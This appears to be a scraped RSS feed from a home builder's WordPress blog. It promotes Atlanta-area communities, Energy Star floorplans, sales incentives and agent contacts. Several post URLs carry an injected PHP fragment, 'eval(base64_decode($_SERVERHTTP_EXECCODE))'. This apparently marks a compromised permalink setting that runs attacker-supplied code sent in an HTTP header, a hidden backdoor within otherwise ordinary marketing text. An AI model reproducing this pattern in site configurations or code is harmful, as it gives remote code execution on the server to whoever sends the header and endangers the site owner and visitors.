Touchstone Homes » energy star new homes http://touchstonehomesblog.com Designed for Living, Built for Life Sat, 19 May 2012 10:32:54 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Touchstone Homes named in Top 15 Builders in Atlanta http://touchstonehomesblog.com/2011/01/07/touchstone-homes-named-in-top-15-builders-in-atlanta/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2011/01/07/touchstone-homes-named-in-top-15-builders-in-atlanta/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Fri, 07 Jan 2011 13:38:43 +0000 tbennett http://touchstonehomesblog.com/?p=437 The Atlanta Business Chronicle has published their 2010-2011 Book of Lists, which includes home builders as well as many other industries, and Touchstone Homes is amongst those names.  These ranking are based on number of homes sold and revenue.  While 2010 was a very difficult year for many builders across the nation, being included in this prestigious list is quite an honor.

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Thumbs Up to Touchstone Homes!

Touchstone Homes has available homes that have been reduced to sell and are ready to move in immediately.  By working with our Preferred Lenders, Suntrust & MetLife Home Loans, we can assure you the best of customer service on your home financing and closing experience.  By using our Preferred Lenders, Touchstone Homes will cover up anywhere from $3,000  to $5,000 in Closing Costs (depending on community).  We are offering Short Sales and Foreclosure Pricing without the hassle of going through that lengthy process with the Bank!  No headaches, no waiting – just Buy and it’s yours!

We are offering another incentive for purchasing in November and December – we call it a Move In Package.  Included in the Move In Package is a GE washer & dryer set, garage door opener and faux wood blinds throughout the home.    Contracts must be written by 12/31/10 and must close by 1/31/11.

Touchstone Homes also has lots available for Pre-Sale Homes in Ivey Chase, Village Grove, Clarkstone Village and Sterling on the Lake.  Your new home can be built for you in 60 days – with our new building process, and without sacrificing quality at the same time.

Visit our web site for Available Homes, Locations and Pricing.

]]> http://touchstonehomesblog.com/2010/11/09/year-end-sales-event-at-touchstone-homes/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Touchstone Homes Offering Pre-Sales at Clarkstone Village http://touchstonehomesblog.com/2010/08/17/touchstone-homes-offering-pre-sales-at-clarkstone-village/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2010/08/17/touchstone-homes-offering-pre-sales-at-clarkstone-village/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 17 Aug 2010 14:51:52 +0000 tbennett http://touchstonehomesblog.com/?p=329 SUWANEE – Touchstone Homes announces a new single family community located in Flowery Branch.  Clarkstone Village is a craftsman style community located just off Spout Springs Road and Thurmon Tanner Parkway on Cantrell Road, less than 2 miles from 985 and the Atlanta Falcons Training Camp.  Clarkstone Village is an existing community consisting of 18 homeowners.  New homes are under construction and will be available for closing in October.  Touchstone Homes has 34 developed lots to choose from and we are now taking Lot Reservations.

The Clearwater

Two new floorplans are being introduced at Clarkstone Village – the Campbell and the Clearwater.   Both plans are Energy Star ® certified homes.  Energy Star ® certified homes are proven to be 15% more energy efficient than a standard built home, thus saving the consumer money on utilities while the new homeowner enjoys a more comfortable and healthy indoor living environment.  An Energy Star ® home is a healthy home.  An Energy Star ® home features energy efficient heating & cooling systems, blown in “Spider” insulation, windows, doors, ceiling fans, and dishwashers.

“Clarkstone Village is the perfect community and location for first time buyers or down sizing families,” says Mike Zambri, Sales Manager at Touchstone Homes, “The pricing in Clarkstone Village has been reset for today’s Buyer in a price range that is practical for this market.  We are also able to offer our Buyers more value for their dollar due to current market conditions.”

Clarkstone Village is located in the City of Flowery Branch in Hall County.  Clarkstone Village offers low maintenance living and includes:  beautifully landscaped entrance, street lights, and sidewalks within the community.  You are just minutes to the Spout Springs shopping area including Home Depot, Super Target and Kohl’s.  Prices for Clarkstone Village start in the $140’s with the same quality that Touchstone Homes is known for.

Clarkstone Village is serviced by Flowery Branch Elementary, West Hall Middle and West Hall High Schools.  To visit Clarkstone Village travel on Interstate 985 North to exit 12, turn left off the exit and travel approximately 1/2 mile and turn right onto Thurmon-Tanner Parkway.  Travel .8 miles and turn left onto Cantrell Road, entrance to Clarkstone Village will be on the right.  For information on Clarkstone Village, call Jeff Barnes at 770-965-7816 or email clarkstonevillage@touchstonehomes.com.

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“Touchstone Homes is in the process of rebooting and rolling out new and improved floorplans for today’s market,” said Mike Zambri, Sales Manager of Touchstone Homes. “To make way for these exciting new floorplans, we have discounted inventory homes anywhere from $15,000 up to $100,000. Also, Touchstone is offering co-op agents an unprecedented 6% selling commission. And to sweeten the deal even more, we are introducing a Buyer Bonus Incentive for this two week promotion.”
The Buyer Bonus Incentive is being introduced during this two week promotion to help the new homeowner furnish their new home or take a mini-vacation after the stress of getting settled into their new home! See Agent for Full Details. The Buyer will have the opportunity to win one of four of the following prizes when they write a contract for a home:

1. Apple iPad 64 GB
2. Panasonic 50” Plasma Television
3. 36,000 Delta Skymiles (must have valid Skymiles Account)
4. $1,500 Rooms to Go gift card

Touchstone Homes offers townhomes from the $140s and Single Family Homes from the $200s.

Townhomes
Riverdance, Suwanee – Angel Whiteman – 770-476-7374
Lanier Walk, Cumming – Jeff Barnes – 770-403-1155
Park Place, Cumming – Dennis Doll – 404-641-8505
Ridenour, Kennesaw – Emily Peker – 770-422-8807
Village Grove, Suwanee – Elaine Gentry – 770-831-6883
New Haven Walk, Roswell – Barbara Lutz – 678-461-6011

Single Family
Village Grove, Suwanee – Elaine Gentry – 770-831-6883
Sterling on the Lake, Flowery Branch – Jeff Barnes – 770-965-7816
Hampton, Cumming – Sharon Jones – 678-947-1494
Windermere, Cumming – Sharon Jones – 678-232-9151
Ivey Chase, Dacula – Jeff Barnes – 770-403-1155
Trilogy Park, Hoschton – Jeff Barnes – 770-403-1155
Sienna on the River, Braselton – Tom Collins – 706-338-5141
Tributary, Douglasville – Molly White – 678-391-0026

See the web site www.TouchstoneHomes.com for available homes and community locations.

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The Stanford plan is a large executive design featuring five oversized bedrooms, four baths, 2-car garage, stacked stone fireplace, open kitchen and great room perfect for entertaining.  The gourmet kitchen has a mega-island along with custom butler’s pantry.  The master suite also has his and hers walk in closets for added storage and space.   The Stanford plan is available as a pre-sale home on a variety of homesites and can be ready for the homeowner in 90 days.

Homes in Southgate at Windermere range from the $300s to the $400s featuring 2-3 car garages, James Hardie Color Plus siding with 15 year warranty, stacked stone and brick accents, master bedrooms with his and her vanities, large walk in closets, kitchens featuring granite countertops, islands, and GE appliances.  The Stanford is an Energy Star ® certified home, thus increasing energy efficiency and reducing energy costs by up to 15%.

Windermere is a golf course, swim, tennis community developed by Newland Communities, located in Cumming on Georgia 20.  Take Georgia 400 north to exit 14 turn right onto Georgia 20, travel approximately 4 miles, entrance to Windermere will be on the right.  Follow signs to the new homes in Southgate Village.  The new Sales Center in the Stanford is located at 3235 Suffolk Drive in Cumming.

Touchstone Homes has been developing and building in some of Atlanta’s finest communities since 1994.  Over the years, as one of Atlanta’s premier new home builders, Touchstone Homes has built new homes in Barrow, Gwinnett, Forsyth, Fulton, Hall, Cobb, and Douglas Counties.  Touchstone Homes’ experienced new home builders and on-site professionals are well versed in assisting homebuyers throughout the entire home building process to ensure all your expectations are met.  From the time you select your home and make all of your selections in our Design Studio to the day you move into your new home-we’re with you every step of the way.

Touchstone Homes has received numerous Professionalism Awards from the Greater Atlanta Homebuilder’s Association, and the company has earned the coveted Certified Professional Home Builder designation.  Touchstone Homes has also received the national award of America’s Best Builder for 2007 by Builder Magazine and 2008 Management of Excellence Award from the Lee Evans Group.

In 2009, Touchstone Homes launched their social media marketing campaign with a new company blog site www.TouchstoneHomesBlog.com and presence on several social media outlets such as Facebook, Twitter, Twellow, Zillow, Trulia, and YouTube.  For more information on Touchstone Homes call the Corporate Office at 770-945-5228 or visit www.touchstonehomes.com.

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Touchstone Homes, a builder at Sterling on the Lake since the award-winning community opened in 2004, is one such example.  Touchstone Homes, which has been building beautiful homes in the Atlanta area since 1994, announced it is retiring older floor plans to make room for new plans that better meet the needs of today’s consumer.

“We’re being very deliberate in how we build today,” says Jeff Barnes, Touchstone’s new home specialist at Sterling on the Lake.  “The market has changed significantly, and we’re being innovative and responsive to match our products to what the market can and will buy while, at the same time, reflecting the latest trends in our industry.”

Touchstone’s newest floor plan is the “Washington.”  At 2,800 square feet, this single-family home offers an open layout with a two-story foyer, four to five bedrooms, three bathrooms, a media/bonus room, attached garage and a beautiful porch.  Home prices start in the high $250s. 

Barnes points out that Touchstone can now build a new pre-sale home in just 90 days, from contract to closing.  So your eager wait for a new home just got shorter.  These homes can also be personalized using Touchstone’s award-winning Design Studio. 

To date, Touchstone has built two of the Washington plans, with both homes going under contract before the homes were completed.  “We knew right away that it was a desirable plan,” he adds.

The two new Touchstone home buyers and others are taking advantage of the government tax credit coupled with Sterling on the Lake’s own tax credit offer:  a match of up to $8,000 on a new home purchase, for total savings of up to $16,000 on a new home.  More details are available at www.sterlingonthelake.com/pages/credit.aspx and you can learn more about Touchstone Homes at www.touchstonehomes.com.

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Touchstone Homes has been building new homes in Atlanta for 15 years.  Touchstone Homes is a name you can trust.

Touchstone Homes is a Certified Professional Home Builder through the National Association of Home Builder (NAHB).

Touchstone Homes is a Certified Energy Star Builder.

At Touchstone, we promise:

  1. A personalized experience at our award winning Design Studio.
  2. Exceptional craftsmanship with superior products incorporating both traditional and transitional design.

The cornerstone of  Touchstone Homes is:

  1. Excellence
  2. Integrity
  3. Value
  4. Dependability

Contact us TODAY at onlinesales@touchstonehomes.com or call the corporate office at 770.945.5228.

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